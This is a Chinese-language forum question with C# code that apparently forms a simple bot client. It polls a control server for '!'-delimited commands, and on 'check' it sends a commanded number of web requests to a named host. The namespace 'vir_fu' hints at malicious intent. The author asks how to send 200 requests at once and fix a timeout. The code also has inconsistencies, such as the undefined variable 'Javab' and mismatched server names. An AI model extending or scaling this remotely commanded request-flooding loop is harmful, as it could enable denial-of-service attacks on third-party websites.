我有很大的问题。我需要一次发送200个对象,
这里是我的代码:
while (true)
{
NameValueCollection myNameValueCollection = new NameValueCollection();
myNameValueCollection.Add("mode", nat);
myNameValueCollection.Add("mode", nat);
using (var client = new WebClient())
{
byte[] responseArray = client.UploadValues(serverA, myNameValueCollection);
answer= Encoding.ASCII.GetString(responseArray);
answer= Convert.ToString(answer);
string[] split =
Javab.Split(new[] { '!' }, StringSplitOptions.RemoveEmptyEntries);
string comand = split[0];
string sever= split[1];
string op1 = split[2];
string op2 = split[3];
string op3 = split[4];
switch (comand)
{
case "check":
int ops1 = Convert.ToInt32(op1);
for (int i = 0; i < ops1; )
{
Uri myUri = new Uri(server);
WebRequest myWebRequest = WebRequest.Create(myUri);
myWebRequest.Timeout = 200000;
WebResponse myWebResponse = myWebRequest.GetResponse();
i++;
}
break;
}
}
}
我得到这个错误
Unhandled Exception: System.Net.WebException: The operation has timed out
at System.Net.HttpWebRequest.GetResponse()
at vir_fu.Program.Main(String[] args)
一部分代码,像这样
for (int i = 0; i < ops1; )
{
Uri myUri = new Uri(site);
WebRequest myWebRequest = WebRequest.Create(myUri);
myWebRequest.Timeout = 200;
WebResponse myWebResponse = myWebRequest.GetResponse();
i++;
}
工作在我的基础代码的一边,但是当我添加这个代码在我的项目我得到那个错误,我尝试设置超时= 200;但没有工作。
我能做什么?